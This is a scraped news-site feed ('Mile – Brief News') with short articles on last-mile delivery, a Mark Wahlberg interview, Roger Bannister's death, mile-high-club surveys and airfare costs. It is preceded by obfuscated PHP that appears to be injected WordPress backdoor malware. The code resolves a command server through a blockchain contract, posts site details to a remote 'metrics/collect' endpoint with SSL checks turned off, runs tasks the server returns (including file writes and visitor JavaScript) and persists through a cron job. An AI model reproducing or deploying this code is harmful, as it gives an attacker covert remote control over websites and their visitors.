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$len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; 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} $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Mile – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Sat, 15 Dec 2018 08:47:02 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Mile – Brief News https://briefnews.eu 32 32 How crowdsourcing shipping through technology will make last mile delivery cheaper (AMZN) https://briefnews.eu/how-crowdsourcing-shipping-through-technology-will-make-last-mile-delivery-cheaper-amzn/ https://briefnews.eu/how-crowdsourcing-shipping-through-technology-will-make-last-mile-delivery-cheaper-amzn/#respond Sat, 15 Dec 2018 08:47:02 +0000 http://briefnews.eu/how-crowdsourcing-shipping-through-technology-will-make-last-mile-delivery-cheaper-amzn/ The proliferation of e-commerce has transformed free shipping and same-day delivery from perks to table stakes — and retailers are paying the price. With daily parcel volumes surging and customers increasingly unlikely to foot the bill, companies have been tasked with finding new ways to offer speedy shipments without eating costs.

last mile share of delivery costsBI Intelligence

Among the most popular strategies is crowdsourced delivery, the Uber model helping online shops solve the most expensive part of shipping: the last mile problem. Like Uber and other ride hailing apps, a number of crowdsourced delivery solutions have been cropping up over the past few years to ease these pains by connecting customers directly with local couriers. And it’s not just startups either; Amazon, the world’s undisputed e-commerce leader, is investing big in crowdsourcing deliveries.

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]]> https://briefnews.eu/how-crowdsourcing-shipping-through-technology-will-make-last-mile-delivery-cheaper-amzn/feed/ 0 The challenges of last mile logistics & delivery technology solutions https://briefnews.eu/the-challenges-of-last-mile-logistics-delivery-technology-solutions-2/ https://briefnews.eu/the-challenges-of-last-mile-logistics-delivery-technology-solutions-2/#respond Sun, 11 Nov 2018 20:50:45 +0000 http://briefnews.eu/the-challenges-of-last-mile-logistics-delivery-technology-solutions-2/ As consumers increasingly turn to e-commerce for all their shopping needs, speedy fulfillment isn’t just a “nice to have” — it’s the expectation of every online shopping experience. And if logistics companies and their retail partners want a shot at thwarting the ever-looming threat of Amazon Prime, it needs to be a priority.

last mile share of delivery costsBI Intelligence

As a result, businesses have begun racing to develop new technologies and experimental supply chain models to increase parcel volume, expedite deliveries, and delight customers — all while trying to cut costs. Unfortunately, one of their biggest expenses and challenges is same-day, last mile shipping.

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]]> https://briefnews.eu/the-challenges-of-last-mile-logistics-delivery-technology-solutions-2/feed/ 0 ‘Mile 22’ Star Mark Wahlberg On His Routine, Working with Peter Berg, and Box Office [Interview] https://briefnews.eu/mile-22-star-mark-wahlberg-on-his-routine-working-with-peter-berg-and-box-office-interview/ https://briefnews.eu/mile-22-star-mark-wahlberg-on-his-routine-working-with-peter-berg-and-box-office-interview/#respond Fri, 17 Aug 2018 16:58:22 +0000 http://briefnews.eu/mile-22-star-mark-wahlberg-on-his-routine-working-with-peter-berg-and-box-office-interview/ Mile 22 sequel

Mark Wahlberg is unleashed by director Peter Berg in Mile 22. Playing the unabashedly unsavory hero Jimmy Silva, Wahlberg gives a high-wired performance that never runs out of gas. If you like your Wahlberg fast and loud, Mile 22 has the performance for you.

Wahlberg’s work is reminiscent of some of his great supporting turns where he gets to play a character a little off-center and let loose. He makes Jimmy Silva feel like a supporting character that happens to be the star of the movie. The role is not too far off from the idea of a hothead character like Tommy from I Heart Huckabees (one of Wahlberg’s greatest achievement in my book) becoming an action hero for the U.S. government. The actor recently spoke to us about his fourth collaboration with Peter Berg, his very impressive work ethic, box office, and more.

Jimmy Silva doesn’t feel like the typical hero of a movie who saves the day.

Absolutely. That’s what we were looking for.

How do you prepare to play a character like that before shooting, who’s always at an 11?

When we talk about what I had to do to prepare, I just had to make sure that I could come with that energy every day and stay on like that. Because I’m a pretty mellow guy. I usually spend most of my energy before 8:00 in the morning, and that’s before I get to the set. So then to be able to turn that up, to crank that up even higher. But you know, Pete and I, we made three other films, they’re all based on true stories and tragic events. This was our idea going and having a good time.

What do you usually do before you get to set? You said you spend most of your energy before shooting, so what makes you feel ready to shoot? 

So I’d get up about 1:30, 2:00 in the morning and go work out. Then in a perfect world, if the weather was good, I’d go play golf at like 5:00, crack of dawn, first light. Play about 18 holes and then come to the set. And then eat and start shooting. But the great thing about Pete is, I don’t think we ever shot a 10-hour day. Because even if we’re doing 5, 10 pages of stuff, because it’s handheld and everything, he’ll give us time. He’ll give the crew time to light, but then there’s no marks or nothing, we just kind of go. We shoot pretty quickly, so usually like a six, seven hour day. And then go home early, eat a meal, go to bed and get ready for the next day.

Is that speed how you prefer to work? I always imagine working that fast, you go by instinct and don’t second-guess much. 

No, but we’re also…we spent so much time in the development stage, the pre-production, that we know what we want. I spend so much time preparing that I know the script inside and out. I read it out loud at least four times a day. And then even the stuff we’ve already shot, so I know exactly where we are if we’re not shooting in continuity, I’m still on top of it. So I’m kind of like the continuity script supervisor for Pete, because he’ll be like, “Oh let’s do this.” And I’ll be like, “We did this whole monologue in this other scene, you know.” And he’s like, “Oh yeah, you’re right, you’re right.” I’m prepared, but we still have time to try things. You know we can do what’s on the page and also throw that out the window and be able to try stuff. So that’s where the preparation is key. If you show up and you’re like “okay, let’s figure this out,” you’re screwed. You’re gonna be there for 16 hours. But if you’re prepared, you’re ready to go, you can kind of get in and bang it out. And then save more time for the next day.

In the original script, Jimmy Silva was more of a supporting character and a villain. Did you get to read that draft? 

Yeah, yeah. I committed to making that movie right away. I love the character and I loved the idea of playing this kind of villain and just getting in there and tearing it up. And then it just kind of evolved into Jimmy’s story, or Jimmy being the central character and then…I still didn’t want to try then to soften him up or dumb him down. I wanted him to be the same kind of abrasive, unapologetic guy. I’ve always looked at Tommy Lee Jones from The Fugitive. This guy’s got a job to do. He doesn’t give a shit who’s right, who’s wrong, or anything in between. It’s the job and that’s it.

Have you ever used any other performances, like Tommy Lee Jones in The Fugitive, as a reference for a performance? 

Yeah, it depends. There are things where there are no real references. And you know, or if you have a true story, playing a real person, you’ve got that to go on. Even like The Fighter, I would dissect every other fight film that was ever made. For various reasons, to see how the fights were shot, how realistic and believable they were. But yeah, it’s nice to have some sort of reference.

Did you speak with any consultants on the film about how someone like Jimmy Silva would act and operate? 

We had some guys, former CIA guys that were consultants on the film. Lea Carpenter, our writer, she has vast knowledge of this whole world: CIA, Overwatch, Brown Branch, all of these various organizations and pieces of CIA and government. I don’t know how she’s had access to all of this information, but she does. So it was all right there on the page. And then when we went to Bogotá, we went to the US Embassy, we thought, “okay, we’ll get to see some guys that are active and on the job. You know they definitely live and exist here.” There were rooms where people would open the doors, stick their head out and say, “Oh Mark and Pete are here,” and they’d wave and that was the extent of it. We didn’t get to talk to them, they kept them all pretty much away from us.

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Peter Berg shoots very immediate, up close action. 

Yeah, you feel like you’re in the middle of it.

Knowing the camera is gonna be that close to your face, especially during dialogue scenes, does that change how you work at all? 

No, it doesn’t. Jacques [Jouffret] was the DP on this film and has also been the main operator on all the films that I’ve done with Pete. All the films that I’ve done with Bay. Even Invincible I worked with Jacques so much, we have this ability to kind of dance. If there’s something that’s got to come into frame or the lighting is bad, he’ll kind of direct me in one direction while I can kind of push him in another direction. We always just keep going and keep rolling until somebody will yell cut. Even like that tracking shot in Lone Survivor, after we decided to let the guys go and we’re all kind of walking up the hill and I’ve got the rear and I’m doing security in the back, I would just keep turning and stopping and looking and Jacques would keep following me and keep going. It ended up being one of the more memorable shots of the movie. It kind of tells the story of, “Oh no, we probably made the wrong decision but I don’t want the blood of these kids on my hand, I’d rather go and fight and do that sort of thing.” We’ve created a lot of moments like that.

I’ve talked to some actors who don’t seem to care about the technical side, but you seem more mindful of it. 

Of course. You’ve got to know what everybody’s doing, why they’re doing it, and respect what they have to do. Yeah, a lot of actors think it’s just about the acting. If all those guys just walked away, you’d be doing a one man play on the corner of Santa Monica Boulevard there. You know, it takes a lot. Even the first time I made a movie I was always fascinated by the process, what was happening behind the camera. Who everybody was and what their responsibilities were. So yeah, being aware of those sort of things, absolutely.

You produced Mile 22 and started producing more heavily the last few years. Does producing influence the acting choices you make?

For sure, for sure. We like working with people that we know and that we trust, that we can count on, and are reliable, really good at what they do.

You’ve worked with Michael Bay, David O. Russell, and James Gray a few times in addition to Peter Berg. What usually makes you comfortable with a director, knowing you’re in good hands?

If it’s somebody I know and trust, fantastic. I’ll be there to service your vision. You know guys who have a very specific vision, they know what they want, they know that I can deliver what they want. If not, I’d rather just take the helm than [put] my career in somebody else’s hands who’s unsure of what they’re doing and can wind up being a disaster.

It sounds like you and Peter Berg were on the same page from the beginning, but does making four movies with the same director change in any way how you approach your work?

Yeah, I think we just learned a lot from each other. We rely on each other quite a bit. We also push and motivate each other to work hard and be better. But yeah, you know it’s funny because you get spoiled working with Pete and the way that he shoots and the way that he…because he was an actor, so he creates this environment for you to be at your most creative and productive. And then you go on other sets and it’s just like, okay. It’s beauty lighting, we’ve got to set up this dolly, and you know, you’re in your trailer. That stuff just makes me crazy.

You and Peter Berg are very into sports as well. I imagine you relate there. 

Well, aside from us having complete opposite tastes in football teams. He’s a Giants fan, and I’m a Patriots fan. Giants have beat the Patriots twice in the Super Bowl. He never lets me live that down. But no, in all sports across the board. And just being guys, guys being dads, having really close relationship with our dads. A lot of those things. We have so much more in common.

Are you looking forward to pre-season?

Absolutely. Well, I’m looking forward to the regular season. The summer is just so slow. World Cup was great; it gave me something to kind of watch and pay attention to. But if it’s just baseball then it’s pretty bad. And the Red Sox are doing fantastic. They’ve got the best record in major leagues. But I don’t really watch other than to make sure that they’re staying ahead of the Yankees. The four and a half games that they’re up, I don’t really want to watch until playoff time. Football makes the year go by quickly.

Yeah, it gives you something to look forward to.

Yeah, you got the Sunday game, you got a Thursday game. You got a lot going on during the week. Usually I’m shooting during football season so it makes the weeks go by quicker.

What’s opening weekend of Mile 22 going to be like for you? How important is the box office performance of a movie for you?

Well, I would say as a guy who’s name is above the title and as a producer of the movie, you know STX is spending a lot of money to make this movie, I want to make sure that it’s as successful as possible. The more people see it, probably the more interest there’ll be in doing another one. So you can say that you don’t care…I mean, I only read the reviews that she’ll [referring to his publicist] send me that are the good ones. Unless it’s just a really bad one that I heard about, I can’t help taking a peek at. But you can’t help but care. But it is what it is. You go up, you take a swing, we’ve done everything that we could to make the best possible version of the movie, and then do as much as we can to get the awareness out there, and drive people to the theaters.

People have a lot of choices. They can go catch the movie later on on pay TV, or whatever they want to do. And you got to create unique and interesting stories that people want to go and discover. Maybe opening weekend is not the most important thing if you have a movie that has legs. I’ve had movies that don’t open like gangbusters, but they had legs and they go and they make a profit. And I’ve had movies that’ll open number one at thirty million dollars and still won’t break even. So it’s all important to me, that’s for sure.

I certainly care about all of it, because you know these guys have trusted us to go and make this movie and hopefully they’re gonna make a profit on their investment. And I understand that, I’m a businessman. So yeah, you want to win, every chance.

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Mile 22 is in theaters now.

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]]> https://briefnews.eu/mile-22-star-mark-wahlberg-on-his-routine-working-with-peter-berg-and-box-office-interview/feed/ 0 Kilauea Has Added a Mile to the Big Island’s Coastline https://briefnews.eu/kilauea-has-added-a-mile-to-the-big-islands-coastline/ https://briefnews.eu/kilauea-has-added-a-mile-to-the-big-islands-coastline/#respond Tue, 07 Aug 2018 23:28:04 +0000 http://briefnews.eu/kilauea-has-added-a-mile-to-the-big-islands-coastline/

Kilauea Has Added a Mile to the Big Island’s Coastline

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]]> https://briefnews.eu/kilauea-has-added-a-mile-to-the-big-islands-coastline/feed/ 0 The challenges of last mile logistics & delivery technology solutions https://briefnews.eu/the-challenges-of-last-mile-logistics-delivery-technology-solutions/ https://briefnews.eu/the-challenges-of-last-mile-logistics-delivery-technology-solutions/#respond Sun, 29 Jul 2018 09:46:16 +0000 http://briefnews.eu/the-challenges-of-last-mile-logistics-delivery-technology-solutions/ As consumers increasingly turn to e-commerce for all their shopping needs, speedy fulfillment isn’t just a “nice to have” — it’s the expectation of every online shopping experience. And if logistics companies and their retail partners want a shot at thwarting the ever-looming threat of Amazon Prime, it needs to be a priority.

last mile share of delivery costsBI Intelligence

As a result, businesses have begun racing to develop new technologies and experimental supply chain models to increase parcel volume, expedite deliveries, and delight customers — all while trying to cut costs. Unfortunately, one of their biggest expenses and challenges is same-day, last mile shipping.

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]]> https://briefnews.eu/the-challenges-of-last-mile-logistics-delivery-technology-solutions/feed/ 0 Enormous 4 mile long iceberg filmed breaking from Greenland glacier (VIDEO) https://briefnews.eu/enormous-4-mile-long-iceberg-filmed-breaking-from-greenland-glacier-video/ https://briefnews.eu/enormous-4-mile-long-iceberg-filmed-breaking-from-greenland-glacier-video/#respond Tue, 10 Jul 2018 17:52:16 +0000 http://briefnews.eu/enormous-4-mile-long-iceberg-filmed-breaking-from-greenland-glacier-video/

The moment a giant iceberg measuring 4 miles (6 km) in length broke off from a glacier in Greenland, sending huge chunks of ice crashing into the sea, was captured on camera by a team of scientists.

Denise Holland, from New York University, filmed the fragmenting Helheim Glacier on June 22, while researching the causes of rising sea levels around the world.

The remarkable timelapse footage of the phenomenon, also known as calving (the breaking off of large blocks of ice from a glacier), condensed the 30 minute process to just 90 seconds.

“Global sea-level rise is both undeniable and consequential,” said research team leader David Holland. “By capturing how it unfolds, we can see, first-hand, its breathtaking significance.”

The team measured a four-mile area in middle Manhattan, NYC, to illustrate the monumental size of the iceberg.

Calving is expected to become a much more frequent occurrence as rising global temperatures continue to melt ice caps. A 2017 estimate suggested that a collapse of the entire Western Antarctic Ice Sheet would result in a 10-feet-rise in sea level – enough to overwhelm coastal areas around the globe, including New York City, according to the researchers.

The team say they are continuing to study the causes of rising sea levels in an effort to help predict and plan for climate change.

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]]> https://briefnews.eu/enormous-4-mile-long-iceberg-filmed-breaking-from-greenland-glacier-video/feed/ 0 Flight secrets: Passengers admit to joining Mile High Club – with the cabin crew https://briefnews.eu/flight-secrets-passengers-admit-to-joining-mile-high-club-with-the-cabin-crew/ https://briefnews.eu/flight-secrets-passengers-admit-to-joining-mile-high-club-with-the-cabin-crew/#respond Tue, 27 Mar 2018 14:48:20 +0000 http://briefnews.eu/flight-secrets-passengers-admit-to-joining-mile-high-club-with-the-cabin-crew/

One of the best-kept flight secrets is that of the Mile High Club, such as how many people really join it and whether or not sex on a plane is legal.

Whilst many airlines frown on it, due to it being seen as having sex in a public space, some show discretion depending on the laws of the airline.

A new survey from dating website Saucy Dates asked 11,000 passengers from the UK and US about people who had joined the Mile High Club, with over five per cent admitting to it.

Yet of those five per cent, some of the most shocking stories have emerged.

The study found that 18 per cent of those who partook in the illicit activities had done so with a member of the cabin crew.

Whilst the majority was with their partners (37 per cent), over 30 per cent admitted it was with a stranger.

Other details to have emerged were the most popular time of it happening being at night (68 per cent) and the most popular location being the bathroom (59 per cent).

Whilst it can be tempting to try it out with the thrill making many excited, the 78 per cent who admitted to wanting to try to could be interested in knowing that 13 per cent admitted to being caught by the flight attendants.

Some passengers revealed some of their stories of joining the mile high club.

A 40-year-old man revealed: “My girlfriend snuck in the bathroom first. I waited two minutes and then gave her a secret knock that we both had agreed on.”

Another passenger, a 24-year-old woman from Huddersfield, admitted to partaking in the activity with a stranger: “We had been chatting for a while and he just asked. We both carefully made our way to the bathroom, lucky the plane was dark as it was a night flight.”

Yet one more man from the US admitted that he had been caught in the act: “A flight attendant knocked and told us to return to our seats and never said anything else.

“However she did pull me aside at the gate when landed and said ‘never do it again’.”

Two mile high club passengers were embarrassed to have been caught in the act by a man filming from his phone.

The viral video shows them onboard the Virgin Atlantic plane whilst flying from London Heathrow to Miami.

Despite not being caught by the flight attendants at the time, the airline later praised them after posting the video on their Facebook page.

They wrote: “We’re pretty sure that’s our plane! The mood lighting certainly put a smile on their faces. #smilehighclub.”

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]]> https://briefnews.eu/flight-secrets-passengers-admit-to-joining-mile-high-club-with-the-cabin-crew/feed/ 0 Flight attendant reveals THIS shocking secret about the mile high club on a plane https://briefnews.eu/flight-attendant-reveals-this-shocking-secret-about-the-mile-high-club-on-a-plane/ https://briefnews.eu/flight-attendant-reveals-this-shocking-secret-about-the-mile-high-club-on-a-plane/#respond Wed, 14 Mar 2018 14:27:46 +0000 http://briefnews.eu/flight-attendant-reveals-this-shocking-secret-about-the-mile-high-club-on-a-plane/

Flight secrets have unearthed some of the most shocking tales of being 30,000 feet in the air.

From the dirtiest tray tables to contaminated tea and coffee, it is a wonder that people still choose to fly if they knew how filthy the planes really are.

One part of the flight that people still try and take part in is the mile high club, by sneaking off to the bathroom with their other half.

A flight attendant has revealed the shocking secrets behind the act.

Jenna Leigh, who worked as a flight attendant on a major airline for 22 years, has explained the secrets behind the sordid act in her book “Faking the O”.

She explained to Huffington Post: “Most of the time, if we see something going on and it’s not affecting anyone, we let it be.”

Whilst it is something that isn’t encouraged in the air, she does admit it is “up to the discretion of the crew” on how they deal with the situation.

She also explained why passengers often get caught, for two reasons.

The number one giveaway is acting “so guilty” that they draw attention to themselves.

Leigh explains that the best time is to attempt it is during a “red-eye flight where most passengers are likely to be asleep”.

Surprisingly, she explains how the most usual culprits are strangers to each other as opposed to couples who are flying together, as they are just “in the moment”.

The amount of Britons who have admitted to having sex on a plane is somewhat shocking.

A survey by HolidayPirates found, out of 2,000 people asked, only 6 per cent had admitted to already joining the mile high club.

Over half (56 per cent) would not want to try it for themselves, whilst 12 per cent declined to answer.

But is it legal to have sex on a plane? It all depends on the airline.

Virgin Atlantic have a very surprising policy for mile high club enthusiasts. 

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]]> https://briefnews.eu/flight-attendant-reveals-this-shocking-secret-about-the-mile-high-club-on-a-plane/feed/ 0 Roger Bannister, first to run mile in under 4 minutes, dies at 88 https://briefnews.eu/roger-bannister-first-to-run-mile-in-under-4-minutes-dies-at-88/ https://briefnews.eu/roger-bannister-first-to-run-mile-in-under-4-minutes-dies-at-88/#respond Mon, 05 Mar 2018 05:13:40 +0000 http://briefnews.eu/roger-bannister-first-to-run-mile-in-under-4-minutes-dies-at-88/

Roger Bannister, the first runner to break the four-minute barrier in the mile, has died. He was 88.

Bannister’s family said in a statement that he died peacefully on Saturday in Oxford, the English city where the runner cracked the feat many had thought humanly impossible on a windy afternoon in 1954.

Bannister, who went on to pursue a long and distinguished medical career, had been slowed by Parkinson’s disease in recent years.

He was “surrounded by his family who were as loved by him, as he was loved by them,” the family said in a statement announcing his death on Sunday. “He banked his treasure in the hearts of his friends.”

Helped by two pacemakers, Bannister clocked three minutes, 59.4 seconds over four laps at Oxford’s Iffley Road track on May 6, 1954, to break the 4-minute mile — a test of speed and endurance that stands as one of the defining sporting achievements of the 20th century.

“It’s amazing that more people have climbed Mount Everest than have broken the four-minute mile,” Bannister said in an interview with The Associated Press in 2012.

The enduring image of the lanky Oxford medical student — head tilted back, eyes closed and mouth agape as he strained across the finishing tape — captured the public’s imagination, made him a global celebrity and lifted the spirits of Britons still suffering through postwar austerity.

“It became a symbol of attempting a challenge in the physical world of something hitherto thought impossible,” Bannister said as he approached the 50th anniversary of the feat. “I’d like to see it as a metaphor not only for sport, but for life and seeking challenges.”

He might not have set the milestone but for the disappointment of finishing without a medal in the 1,500 meters, known as the metric mile, in the 1952 Olympics in Helsinki. Instead of retiring from the sport, he decided to chase the 4-minute mark.

Swedish runner Gundar Haegg’s mile time of 4:01.4 had stood for nine years, but in 1954 Bannister, Australian rival John Landy and others were threatening to break it.

“As it became clear that somebody was going to do it, I felt that I would prefer it to be me,” Bannister told the AP.

He also wanted to deliver something special for his country.

“I thought it would be right for Britain to try to get this,” Bannister said. “There was a feeling of patriotism. Our new queen had been crowned the year before, Everest had been climbed in 1953. Although I tried in 1953, I broke the British record, but not the 4-minute mile, and so everything was ready in 1954.”

His chance finally came on a wet, cool, blustery May afternoon during a meet between Oxford and the Amateur Athletic Association.

When Bannister looked up at the English flag whipping in the wind atop a nearby church, he feared he would have to call off the record attempt. But, shortly before 6 p.m., the wind died down. The race was on.

With Chris Brasher setting the pace on the cinder track, they ran a first lap in 57.5 seconds, then 60.7 — 1:58.2 for the half mile. Chris Chataway, a distance specialist, paced a third lap of 62.3 — 3:00.4. Bannister would need to run the final lap in 59 seconds.

With 250 yards to go, Bannister surged past Chataway, his long arms and legs pumping and his lungs gasping for oxygen.

“The world seemed to stand still, or did not exist,” he wrote in his book, “The First Four Minutes.”

“The only reality was the next 200 yards of track under my feet. The tape meant finality — extinction perhaps. I felt at that moment that it was my chance to do one thing supremely well. I drove on, impelled by a combination of fear and pride.”

After Bannister crossed the finish line, the announcer read out the time: “3…” The rest was drowned out by the roar of the crowd.

Showdown in Vancouver

The record lasted just 46 days, as Landy ran 3:57.9 in Turku, Finland, on June 21, 1954. That set the stage for the showdown between Bannister and Landy at the Empire Games, now called the Commonwealth Games, in Vancouver, British Columbia on Aug. 9, 1954.

Landy set a fast pace, leading by as much as 15 yards before Bannister caught up as the bell rang for the final lap.

“Around the last bend, I think the crowd was making so much noise he couldn’t hear whether I was behind, or whether he’d dropped me, and he looked over his left shoulder, and I passed him on his right shoulder,” Bannister said.

Bannister won the race in 3:58.8, with Landy second in 3:59. It was the first time two men had run under 4 minutes in the same race.

Bannister considered that victory even more satisfying than the first 4-minute mile because it came in a competitive race against his greatest rival.

Bannister capped his brilliant summer of 1954 by winning the 1,500 meters at the European Championships in Bern, Switzerland, in a games record of 3:43.8.

Bannister, who was chosen as Sports Illustrated’s first Sportsman of the Year in 1954, retired from competition and pursued a full-time career in neurology. As chairman of the Sports Council between 1971 and 1974, he developed the first test for anabolic steroids.

“None of my athletics was the greatest achievement,” he said. “My medical work has been my achievement and my family with 14 grandchildren. Those are real achievements.”

Bannister also served as master of Oxford’s Pembroke College from 1985-93.

Bannister married Moyra Jacobsson, an artist, in 1955. They had two sons and two daughters and lived in a modest home only minutes away from the track where he made history. Bannister outlived his four-minute mile pacemakers: Brasher, who founded the London Marathon, died in 2003 at the age of 74. Chataway died in 2014 at 82.

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]]> https://briefnews.eu/roger-bannister-first-to-run-mile-in-under-4-minutes-dies-at-88/feed/ 0 Flight news: These are the world’s most overpriced flight routes per mile https://briefnews.eu/flight-news-these-are-the-worlds-most-overpriced-flight-routes-per-mile/ https://briefnews.eu/flight-news-these-are-the-worlds-most-overpriced-flight-routes-per-mile/#respond Mon, 26 Feb 2018 13:30:18 +0000 http://briefnews.eu/flight-news-these-are-the-worlds-most-overpriced-flight-routes-per-mile/

The world’s most economical and overpriced flight routes have been revealed.

A trip to the far-flung southeast Asian country Singapore may represent the best value for money for travellers, if based on air miles. This is because, from the UK, a single air mile costs less than three pence.

However, a trip to Brussels – a bustling capital of 500 million, renowned known for its Belgian beer tasting and art museums – is the most overpriced. Each air mile costs on average, just under 24p.

These are the results of a global study carried out by flight comparison site Kayak.

The study assessed the average cost of a one-way economy ticket from London to cities around the globe between February and May. To work out how much each air mile cost, it divided the cost by the distance flown.

“When setting their total ticket prices, airlines have to take a lot more into account than just fuel costs,” explained Kayak spokesman Neil Cartwright to The Telegraph.

“Taxes and airport fees, among other things, have to be paid regardless of flight length. So, while long-haul flights can seem expensive, they actually offer great value,” Cartwright continued.

Whilst it’s safe to expect that the further you fly, the better value you get for your money, the findings unearthed some surprises too.

After Brussels, European destinations Amsterdam, Paris and Dublin were revealed as the most overpriced routes. The 55-minute flight to London to Amsterdam costs a hefty 17.2p every air mile.

This may put off potential holidaymakers who may turn to Eurostar’s newly launched £35 one-way fares as an alternative.

The roughly one hour and five minute flight to Paris, also was deemed to be expensive. The 214-mile trip averaged just over 19p per air mile.

Dublin is also another top holiday destination for Britons, with just over two million of us visiting our neighbours in 2017. Travelling the one hour and 15-minute flight will cost you 12.46 per air mile.

However, by nature short haul flights are likely to offer worse value for money per mile because they are travelling shorter distances but airlines must charge taxes and airport fees.

Results: The most economical and overpriced flight routes (per mile)

Singapore – 2.92p

Los Angeles – 3.43p

Bucharest – 4.02p

Larnaca – 4.35p

Sofia – 4.43p

Chicago – 4.54p

Madrid – 4.67p

Athens – 4.68p

Boston – 4.69p

Oslo – 4.94p

San Francsico – 8.47p

Vienna – 8.65p

Munich – 9.11p

Tokyo – 10.31p

Dublin – 12.46p

Miami – 12.94p

Amsterdam – 17.2p

Atlanta – 18.97p

Paris – 19.13p

Brussels – 23.73p

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